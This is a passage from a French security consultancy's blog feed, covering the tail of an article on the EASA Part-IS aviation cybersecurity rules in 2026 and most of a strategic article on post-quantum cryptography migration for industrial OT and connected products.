<p style="text-align: justify;"><span data-contrast="none">La montée en puissance de Part-IS s’est faite par étapes. Après l’entrée en vigueur progressive des textes </span><span data-contrast="none">en 2022 et 2023, l’année 2025 a été marquée par la préparation des dossiers de conformité et la structuration des SMSI</span><span data-contrast="none">.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Depuis le 22 février 2026, le règlement d’exécution est pleinement applicable, ce qui signifie que de nouveaux périmètres sont désormais couverts, notamment les activités de maintenance et de réparation à travers la Part-145. Part-IS concerne aujourd’hui l’ensemble de la chaîne opérationnelle, de la conception jusqu’aux opérations et au support.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Aujourd’hui, les acteurs du secteur concernés par la Part-IS ont pris connaissance du sujet et transmis leur SMSI. Dans ce contexte d’engagement généralisé, l’EASA a, de son côté, ajusté le cadre en précisant et en assouplissant certaines modalités, à travers la mise à jour des AMC et GM de la Part-IS.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">L’EASA prévoit une phase de développement de 18 mois après la date d’applicabilité pour atteindre une mise en œuvre pleinement opérationnelle. Cette progression peut se lire simplement en trois étapes : un dispositif d’abord présent et adapté (</span><i><span data-contrast="none">P + S</span></i><span data-contrast="none">), puis opérationnel (</span><i><span data-contrast="none">O</span></i><span data-contrast="none">), avant d’atteindre un fonctionnement effectif dans la durée (</span><i><span data-contrast="none">E</span></i><span data-contrast="none">).</span></p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class=" wp-image-29835 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/ligneFR.png" alt="" width="733" height="445" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/ligneFR.png 976w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/ligneFR-314x191.png 314w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/ligneFR-64x39.png 64w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/ligneFR-768x467.png 768w" sizes="auto, (max-width: 733px) 100vw, 733px" /></p>
<h1 style="text-align: justify;">Les mises à jour EASA : qu’est-ce qui change concrètement ? </h1>
<p style="text-align: justify;"><span data-contrast="none">Fin 2025, l’EASA a mis à jour les AMC et GM relatifs à Part-IS et consolidé ces évolutions dans une nouvelle version des Easy Access Rules associée.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Concrètement, ces évolutions introduisent plusieurs allègements importants :</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<ul style="text-align: justify;">
<li style="text-align: justify;"><span data-contrast="none">Les organisations déclarées </span><span data-contrast="none">n’ont plus besoin d’une approbation préalable </span><span data-contrast="none">de leur SMSI.</span></li>
<li style="text-align: justify;">Pour rappel, les organisations agréées sont soumises à un processus d’approbation formelle par l’autorité (EASA ou autorité nationale). Elles doivent obtenir un agrément, faire approuver leur manuel SMSI et soumettre certaines modifications à validation préalable contrairement aux organisations déclarées, qui sont supervisées a posteriori par l’autorité. Vous pouvez retrouver la liste des organismes déclarés soumis à Part-IS <a style="font-size: revert;" href="https://www.easa.europa.eu/en/faq/142354"><span data-contrast="none">ici</span></a><span style="font-size: revert; color: initial;" data-contrast="none">.</span><span style="font-size: revert; color: initial;" data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:720,&quot;335559731&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></li>
<li style="text-align: justify;"><span data-contrast="none">Les modifications du SMSI, lorsqu’elles sont couvertes par une procédure interne définie, ne nécessitent plus de « feu vert » formel de l’autorité : une notification suffit.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></li>
<li style="text-align: justify;"><span data-contrast="none">Le rôle de l’autorité est recentré sur la supervision et l’audit, plutôt que sur une logique d’approbation systématique.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="size-full wp-image-29831 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/TableFR.png" alt="" width="1280" height="548" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/TableFR.png 1280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/TableFR-437x187.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/TableFR-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/TableFR-768x329.png 768w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /></p>
<p style="text-align: justify;"><span data-contrast="none">Cependant, les attentes restent les mêmes : le SMSI (SGSI au sens du règlement) doit être robuste, cohérent, traçable, et réellement appliqué. L’allègement apporté par la mise à jour des AMC et GM est donc administratif et non opérationnel.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Sur le terrain, cela résonne avec les </span><span data-contrast="none">premiers retours de l’OSAC sur les SMSIs</span><b><span data-contrast="none"> </span></b><span data-contrast="none">: la gouvernance autour de ce dernier apparaît comme un point central. Les autorités portent une attention accrue à la dimension cybersécurité que doivent avoir les acteurs identifiés. La qualité du document est également scrutée, non seulement sur le fond, mais aussi sur la forme (structure, cohérence…).</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<h1 style="text-align: justify;">Les cinq chantiers du secteur pour passer Part‑IS à l’échelle </h1>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="size-full wp-image-29843 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5FR.png" alt="" width="1280" height="446" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5FR.png 1280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5FR-437x152.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5FR-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/04/5FR-768x268.png 768w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /></p>
<p style="text-align: justify;"><span data-contrast="none">Au</span>‑<span data-contrast="none">delà de ces premiers retours, nous avons pu observer lors de nos accompagnements que la mise en œuvre de Part-IS fait émerger cinq défis chez la plupart des acteurs : gouvernance &amp; coordination, validation de l’inventaire, finalisation des analyses de risques, formation des responsables et équipes, contraintes RH et contrôle des personnes.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">Mais le plus chronophage reste l’analyse de risques, en particulier pour les grandes organisations multi</span>‑<span data-contrast="none">sites. Celle</span>‑<span data-contrast="none">ci ne peut plus être uniquement centralisée, et doit être déclinée localement, intégrer les réalités de chaque site, les chaînes fonctionnelles, ainsi que les sous</span>‑<span data-contrast="none">traitants. Cette approche holistique est exigeante, mais indispensable pour démontrer une application cohérente de Part</span>‑<span data-contrast="none">IS.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<h1 style="text-align: justify;">Une approche pragmatique pour passer à l’échelle </h1>
<p style="text-align: justify;"><span data-contrast="none">Face à ces enjeux, la clé réside dans l’anticipation du déploiement. Un SMSI efficace repose sur un socle commun solide, mais aussi sur des outils concrets permettant une déclinaison locale : modèles, guides, méthodes d’analyse de risques adaptées aux réalités opérationnelles.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;"><span data-contrast="none">La réussite de Part-IS repose sur la coordination entre les équipes cybersécurité, les équipes métiers et les fonctions qualité et conformité. Part-IS n’est pas une couche supplémentaire : c’est un cadre transverse qui structure durablement la gestion du risque cyber au service de la sécurité aérienne.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<h1 style="text-align: justify;">En conclusion </h1>
<p style="text-align: justify;"><span data-contrast="none">En 2026, Part-IS entre en phase d’application. La consolidation des AMC/GM fixe un terrain clair et allège la charge administrative par rapport à la 1</span><span data-contrast="none">ère</span><span data-contrast="none"> monture.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:180,&quot;335559740&quot;:240}"> </span></p>
<p style="text-align: justify;">En complément, ces mises à jour fin 2025 ont notamment étendu le périmètre de la Part‑IS aux prestataires d’assistance en escale via le règlement délégué (UE) 2025/22 amendant le (UE) 2022/1645, applicable à compter du 27 mars 2031. Pas d’impact opérationnel immédiat en 2026, mais un signal utile pour anticiper la cartographie des interfaces, sans urgence à court terme. </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/04/part-is-en-2026-du-cadre-reglementaire-a-la-realite-du-terrain/">Part-IS en 2026 : du cadre réglementaire à la réalité du terrain</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/04/part-is-en-2026-du-cadre-reglementaire-a-la-realite-du-terrain/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>La cryptographie post-quantique pour les produits et l’OT : de la tendance à la réalité industrielle</title>
		<link>https://www.riskinsight-wavestone.com/2026/02/la-cryptographie-post-quantique-pour-les-produits-et-lot-de-la-tendance-a-la-realite-industrielle/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/02/la-cryptographie-post-quantique-pour-les-produits-et-lot-de-la-tendance-a-la-realite-industrielle/#respond</comments>
		
		<dc:creator><![CDATA[Bertrand Carlier]]></dc:creator>
		<pubDate>Wed, 18 Feb 2026 15:27:48 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=29007</guid>

					<description><![CDATA[<p>La cryptographie post‑quantique (PQC) alimente les débats depuis des années, mais depuis la communication de la Commission européenne de juin 2025 sur la feuille de route pour une transition vers la PQC, l’accélération est manifeste. La question n’est plus de savoir “si”,...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/02/la-cryptographie-post-quantique-pour-les-produits-et-lot-de-la-tendance-a-la-realite-industrielle/">La cryptographie post-quantique pour les produits et l’OT : de la tendance à la réalité industrielle</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><span data-contrast="auto">La </span><b><span data-contrast="auto">cryptographie post</span></b><b><span data-contrast="auto">‑</span></b><b><span data-contrast="auto">quantique (PQC)</span></b><span data-contrast="auto"> alimente les débats depuis des années, mais depuis la communication de la </span><b><span data-contrast="auto">Commission européenne de juin 2025 </span></b><a href="https://digital-strategy.ec.europa.eu/fr/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography"><b><span data-contrast="none">sur la feuille de route pour une transition vers la PQC</span></b></a><span data-contrast="auto">, l’accélération est manifeste. La question n’est plus de savoir “si”, mais “quand” l’informatique quantique bouleversera nos fondations cryptographiques. Comme le rappelle l’article RiskInsight de Wavestone, </span><a href="https://www.riskinsight-wavestone.com/2025/03/ordinateur-quantique-et-cryptographie-post-quantique-quelle-strategie-adopter/"><span data-contrast="none">« Ordinateur quantique et cryptographie post</span><span data-contrast="none">‑</span><span data-contrast="none">quantique : quelle stratégie les entreprises doivent</span><span data-contrast="none">‑</span><span data-contrast="none">elles adopter sur ces éléments ? »</span></a><span data-contrast="auto">, le sujet passe du temps long à </span><b><span data-contrast="auto">l’impératif stratégique</span></b><span data-contrast="auto"> pour les RSSI, CTO et directions produit. Qu’est</span><span data-contrast="auto">‑</span><span data-contrast="auto">ce que cela change pour vos </span><b><span data-contrast="auto">environnements industriels</span></b><span data-contrast="auto"> et </span><b><span data-contrast="auto">vos produits connectés</span></b><span data-contrast="auto">, et comment agir dès maintenant ?</span></p>
<h1><span data-contrast="none">Menaces quantiques : une nouvelle ère pour la cryptographie industrielle</span><span data-ccp-props="{}"> </span></h1>
<p><span data-contrast="auto">L’informatique quantique représente une menace pour les algorithmes cryptographiques classiques qui garantissent l’intégrité, l’authenticité et la confidentialité des communications, y compris celles des systèmes OT et des produits. Même si le “</span><b><span data-contrast="auto">Q-Day</span></b><span data-contrast="auto">” (le jour où les ordinateurs quantiques casseront la cryptographie actuelle) est encore à quelques années devant nous, le risque est déjà là : les attaquants peuvent d’ores et déjà procéder à des attaques de type </span><b><span data-contrast="auto">« </span></b><b><i><span data-contrast="auto">Harvest Now, Decrypt Later</span></i></b><b><span data-contrast="auto"> »</span></b><span data-contrast="auto">, stockant des données chiffrées aujourd’hui pour les déchiffrer dès que les algorithmes cryptographiques actuels seront brisés. Mais un autre risque, tout aussi critique, se profile</span><span data-contrast="auto"> </span><span data-contrast="auto">: </span><b><span data-contrast="auto">«</span></b><b><span data-contrast="auto"> </span></b><b><span data-contrast="auto">Trust Now, Forge Later</span></b><b><span data-contrast="auto"> </span></b><b><span data-contrast="auto">». </span></b><span data-contrast="auto">Les signatures numériques ou certificats jugés fiables aujourd’hui pourront être falsifiés demain, rendant possible l’installation transparente de logiciels malveillants ou encore la compromission de chaînes d’approvisionnement. Contrairement à la fuite progressive de données, cette attaque provoque</span><b><span data-contrast="auto"> une rupture immédiate</span></b><span data-contrast="auto"> </span><b><span data-contrast="auto">de la confiance et de l’intégrité</span></b><span data-contrast="auto">, avec des impacts massifs sur les </span><b><span data-contrast="auto">environnements industriels</span></b><span data-contrast="auto"> et les </span><b><span data-contrast="auto">produits connectés</span></b><span data-contrast="auto">. Avec </span><b><span data-contrast="auto">la feuille de route européenne</span></b><span data-contrast="auto"> jalonnant 2026, 2030 et 2035, la question réside dans l’ordonnancement de la transition. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Dans l’industrie, où les équipements vivent </span><b><span data-contrast="auto">plusieurs décennies</span></b><span data-contrast="auto">, c’est un enjeu majeur.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">L’industrie est particulièrement touchée</span><span data-contrast="auto"> </span><span data-contrast="auto">: les environnements OT et les produits embarqués reposent sur des usages cryptographiques critiques qui seront directement impactés par l’arrivée des algorithmes post-quantiques.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Plusieurs cas d’usages industriels et produits prioritaires identifiés</span><span data-contrast="auto"> </span><span data-contrast="auto">:</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Administration sécurisée des systèmes OT et produits</span></b><b><span data-contrast="auto"> </span></b><span data-contrast="auto">: garantir l’intégrité et la confidentialité des opérations.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="auto">Signature numérique et intégrité des firmwares</span></b><b><span data-contrast="auto"> </span></b><span data-contrast="auto">: garantir la fiabilité des mises à jour logicielles (secure boot, code signing, X.509…).</span></li>
<li><b><span data-contrast="auto">Accès distants sécurisés aux actifs industriels et produits</span></b><b><span data-contrast="auto"> </span></b><span data-contrast="auto">: protéger les connexions VPN, SSH, RDP, et autres protocoles contre les attaques futures.</span></li>
<li><b><span data-contrast="auto">Échanges de données IT/OT</span></b><b><span data-contrast="auto"> </span></b><span data-contrast="auto">: sécuriser les flux entre les systèmes d’information et les environnements industriels (TLS, MQTTS, HTTPS…).</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="auto">Confidentialité des données des processus industriels</span></b><b><span data-contrast="auto"> </span></b><span data-contrast="auto">: préserver la confidentialité des données sensibles en transit ou au repos.</span></li>
<li><b><span data-contrast="auto">Journalisation et historisation sécurisées</span></b><b><span data-contrast="auto"> </span></b><span data-contrast="auto">: assurer la traçabilité et l’intégrité des logs et historiques critiques.</span></li>
</ul>
<p><img loading="lazy" decoding="async" class=" wp-image-29008 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr3.png" alt="" width="731" height="394" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr3.png 1047w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr3-354x191.png 354w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr3-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr3-768x414.png 768w" sizes="auto, (max-width: 731px) 100vw, 731px" /></p>
<h1><span data-contrast="none">PQC pour l’OT &amp; Produit : intégrer les  contraintes, préserver la crypto-agilité</span><span data-ccp-props="{}"> </span></h1>
<h2><span data-contrast="none">Contexte OT &amp; Produit : des contraintes spécifiques</span><span data-ccp-props="{}"> </span></h2>
<p><span data-contrast="auto">Les systèmes OT et produits n’ont jamais été conçus pour la </span><b><span data-contrast="auto">crypto-agilité. </span></b><span data-contrast="auto">D</span><span data-contrast="auto">e nombreux protocoles industriels comme DNP3, Modbus ou MQTT ne sont pas chiffrés aujourd’hui car l’architecture OT repose historiquement davantage sur l’isolement réseau que sur la cryptographie, alors il n’y a pas de raison de penser qu’ils seraient tous chiffrés demain avec des algorithmes postquantiques.</span></p>
<p><span data-contrast="auto">Néanmoins, les communications chiffrées subiront cette rupture cryptographique.</span></p>
<p><span data-contrast="auto">Dans un second temps, beaucoup d’équipements OT présentent des contraintes matérielles importantes (processeur, mémoire, capacité de stockage) et disposent d’une durée de vie très longue, souvent entre 10 et 30 ans. Ces caractéristiques rendent les mises à jour difficiles et coûteuses : les mécanismes de mise à jour sécurisée à distance restent rares, et la signature des firmwares n’est pas systématiquement implémentée, ce qui est dans les faits une mauvaise pratique.</span></p>
<p><span data-contrast="auto">Ces contraintes expliquent pourquoi les environnements OT ne peuvent pas intégrer de nouvelles primitives cryptographiques au même rythme que l’IT, et pourquoi la PQC n’est pas encore prise en compte nativement.</span></p>
<p><strong>Néanmoins, même si les produits et systèmes OT actuels ne sont pas conçus pour la cryptographie post-quantique, l’émergence des standards PQC, l’évolution des obligations réglementaires et la montée des risques liés au quantique rendent cette transition incontournable à moyen terme. </strong></p>
<p><img loading="lazy" decoding="async" class=" wp-image-29046 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr4.png" alt="" width="737" height="285" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr4.png 1404w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr4-437x169.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr4-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr4-768x297.png 768w" sizes="auto, (max-width: 737px) 100vw, 737px" /></p>
<h2><span data-contrast="none">Rendre la crypto-agilité opérationnelle pour l’industrie et les produits</span><span data-ccp-props="{}"> </span></h2>
<p><span data-contrast="auto">Le cadrage du projet PQC pour les Produits et l’OT peut s’axer en 4 volets principaux :</span></p>
<p><b><span data-contrast="auto">1. Réaliser l’inventaire cryptographique et prioriser les actifs critiques </span></b></p>
<p>Initier dès maintenant le dialogue avec vos fournisseurs de socles crypto (PKI, KMS, HSM) pour anticiper la migration<span style="font-size: revert; color: initial;" data-contrast="none">.</span></p>
<p><b><span data-contrast="auto">2. Concevoir et déployer des architectures crypto-agiles</span></b></p>
<p><span data-contrast="auto">S’appuyer exclusivement sur les algorithmes standardisés par le NIST (ex : </span><b><span data-contrast="auto">ML-KEM, ML-DSA, SLH-DSA</span></b><span data-contrast="auto">), et proscrire tout </span><b><span data-contrast="auto">développement interne</span></b><span data-contrast="auto"> ou adoption de librairies </span><b><span data-contrast="auto">non standards</span></b><span data-contrast="auto"> pour les composants cryptographiques en privilégiant des solutions éprouvées et validées</span><span data-contrast="none">.</span></p>
<p><span data-contrast="auto">Concevoir des architectures crypto</span><span data-contrast="auto">‑</span><span data-contrast="auto">agiles implique de prendre en compte </span><b><span data-contrast="auto">la dimension embarquée et ses contraintes</span></b><span data-contrast="auto"> (mémoire limitée, circuits imprimés, ressources énergétiques).  L’implémentation des algorithmes PQC sur ces systèmes reste incertaine. Toutefois, des algorithmes optimisés pour l’embarqué </span><b><span data-contrast="auto">émergent</span></b><span data-contrast="auto"> et ouvrent la voie à une adoption réaliste.</span></p>
<p><span data-ccp-props="{&quot;335559685&quot;:720}"><img loading="lazy" decoding="async" class=" wp-image-29012 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr1.png" alt="" width="757" height="257" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr1.png 1444w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr1-437x148.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr1-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/02/PQC_fr1-768x261.png 768w" sizes="auto, (max-width: 757px) 100vw, 757px" /></span></p>
<p><b><span data-contrast="auto">3. Migrer progressivement via l’hybridation et l’itération</span></b></p>
<p><span data-contrast="auto">La transition vers la cryptographie post-quantique ne peut pas être pensée comme un projet ponctuel ou une migration «</span><span data-contrast="auto"> </span><span data-contrast="auto">One Shot</span><span data-contrast="auto"> </span><span data-contrast="auto">». </span><span data-contrast="none">Il s’agit d’un processus itératif, à piloter dans la durée, en commençant par l’hybridation des algorithmes</span><span data-contrast="none"> </span><span data-contrast="auto">: c’est la stratégie explicitement recommandée par l’ANSSI et la Commission européenne.</span></p>
<p><span data-contrast="auto">La crypto-agilité n’est pas une option, mais une nécessité pour garantir la résilience, la conformité de vos environnements industriels et produits face à la menace quantique. Elle s’appuie sur une </span><b><span data-contrast="none">démarche structurée, pilotée par l’inventaire, l’architecture, la migration hybride et la gouvernance.</span></b></p>
<h1><span data-contrast="none">Retours terrain &amp; cas d’usage concrets : des acteurs à des stades différents</span><span data-ccp-props="{}"> </span></h1>
<p><span data-contrast="auto">Notre expérience terrain révèle un écart de maturité saisissant entre deux profils d’acteurs industriels face à la cryptographie post-quantique</span><span data-contrast="auto"> </span><span data-contrast="auto">:</span><span data-ccp-props="{}"> </span></p>
<p><b><span data-contrast="auto">1. Les industriels avec une compréhension encore embryonnaire</span></b><span data-ccp-props="{}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Constat</span></b><span data-contrast="auto"> : Dans de nombreux environnements industriels, la PQC reste un concept abstrait, souvent perçu comme lointain ou réservé aux experts.</span><span data-ccp-props="{}"> </span></li>
<li><b><span data-contrast="auto">Symptômes</span></b><span data-contrast="auto"> : </span><span data-ccp-props="{}"> </span>
<ul>
<li><span data-contrast="auto">Les équipes opérationnelles et métiers ne sont pas impliquées dans les réflexions stratégiques sur la cryptographie.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
<li><span data-contrast="auto">Les </span><b><span data-contrast="auto">roadmaps actuelles manquent de maturité et de clarté</span></b><span data-contrast="auto">, les chantiers sous-jacents sont souvent sous-estimés quant à leur coût. La priorité reste la continuité de service, la sécurité quantique étant reléguée au second plan.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
<li><span data-contrast="auto">Les notions de </span><b><span data-contrast="auto">HNDL &amp; TNFL</span></b><span data-contrast="auto"> sont peu comprises, voire ignorées.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
</ul>
</li>
<li><b><span data-contrast="auto">Risques</span></b><span data-contrast="auto"> : </span><span data-ccp-props="{}"> </span>
<ul>
<li><b><span data-contrast="auto">Perturbation de la production et fuite de données de processus industriels</span></b><span data-contrast="auto"> :  des communications vulnérables entre équipements critiques, basées sur des algorithmes obsolètes, exposent les données sensibles et peuvent entraîner des interruptions ou des perturbations majeures dans les opérations industrielles (perte d’intégrité des données).</span></li>
<li><b><span data-contrast="auto">Indisponibilité de production liée à une migration brutale </span></b><span data-contrast="auto">: Une transition forcée vers la cryptographie post</span><span data-contrast="auto">‑</span><span data-contrast="auto">quantique, sans préparation ni crypto</span><span data-contrast="auto">‑</span><span data-contrast="auto">agilité, peut provoquer des arrêts de production, des surcoûts importants et des impacts sévères sur la continuité opérationnelle.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
</ul>
</li>
</ul>
<p><b><span data-contrast="auto"> 2. Les fournisseurs de produits : des pionniers déjà en phase d’industrialisation</span></b><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></p>
<ul>
<li aria-setsize="-1" data-leveltext="" data-font="Symbol" data-listid="11" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" data-aria-posinset="1" data-aria-level="1"><b><span data-contrast="auto">Constat : </span></b><span data-contrast="auto">À l’opposé, certains fournisseurs de produits (notamment dans l’automobile, ou les objets connectés) ont pris une longueur d’avance.</span><span data-ccp-props="{}"> </span></li>
<li aria-setsize="-1" data-leveltext="" data-font="Symbol" data-listid="11" data-list-defn-props="{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;&quot;,&quot;469777815&quot;:&quot;multilevel&quot;}" data-aria-posinset="1" data-aria-level="1"><b><span data-contrast="auto">Symptômes : </span></b><span data-ccp-props="{}"> </span>
<ul>
<li><span data-contrast="auto">Les chantiers PQC sont priorisés sur les cas d’usage critiques</span><span data-contrast="auto"> </span><span data-contrast="auto">: signature de firmware et mises à jour (OTA), gestion des identités d’équipements, sécurisation des accès distants, etc.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
<li><span data-contrast="auto">Des pilotes sont lancés sur des lignes de produits ou des environnements représentatifs, avec des retours d’expérience concrets sur la performance, la compatibilité et la robustesse des solutions hybrides.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
<li><span data-contrast="auto">La démarche s’industrialise</span><span data-contrast="auto"> </span><span data-contrast="auto">: intégration de clauses PQC dans les contrats fournisseurs, automatisation de l’inventaire cryptographique </span><b><span data-contrast="auto">CBOM</span></b><span data-contrast="auto">, montée en compétence des équipes, et gouvernance dédiée.</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:278}"> </span></li>
</ul>
</li>
</ul>
<h1><span data-contrast="none">Conclusion &amp; Roadmap : Passez à l’action pour bâtir un futur “quantum-safe”</span><span data-ccp-props="{}"> </span></h1>
<p><span data-contrast="auto">La menace quantique n’est plus une perspective lointaine</span><span data-contrast="auto"> </span><span data-contrast="auto">: elle impose dès aujourd’hui une transformation profonde de la cybersécurité industrielle et produit.</span></p>
<ol>
<li><b><span data-contrast="auto">Anticipez pour protéger l’avenir</span></b></li>
</ol>
<p><span data-contrast="auto">Démystifiez les concepts quantiques et intégrez-les dès maintenant dans vos processus de cybersécurité, que ce soit pour vos produits, vos environnements OT ou vos systèmes IT. L’anticipation est la clé pour éviter la rupture.</span></p>
<ol start="2">
<li><b><span data-contrast="auto"> Faites de la crypto-agilité une vision stratégique</span></b></li>
</ol>
<p><span data-contrast="auto">Ne la considérez plus comme un simple projet technique, mais comme un pilier de votre résilience et de votre souveraineté numérique. Construisez une feuille de route claire, avec des jalons à court, moyen et long terme.</span></p>
<ol start="3">
<li><b><span data-contrast="auto"> Appuyez-vous sur des partenaires de confiance</span></b></li>
</ol>
<p><span data-contrast="auto">Le marché est prêt</span><span data-contrast="auto"> </span><span data-contrast="auto">: des experts et des solutions existent pour vous accompagner dans la modernisation et la sécurisation de vos infrastructures critiques. Ne restez pas isolés face à la complexité.</span></p>
<ol start="4">
<li><b><span data-contrast="auto"> Industrialisez la démarche</span></b></li>
</ol>
<p><span data-contrast="auto">Passez du pilote à la généralisation </span><span data-contrast="auto">:</span><span data-ccp-props="{}"> </span></p>
<ul>
<li><span data-contrast="auto">Mettre en place une stratégie PQC pour cartographier, prioriser et piloter la migration des usages critiques (inclure des clauses PQC dans les contrats).</span></li>
<li><span data-contrast="auto">Lancer un programme de transition pour moderniser les socles de confiance (PKI, CLM, HSM), automatiser l’inventaire et assurer la continuité des opérations.</span></li>
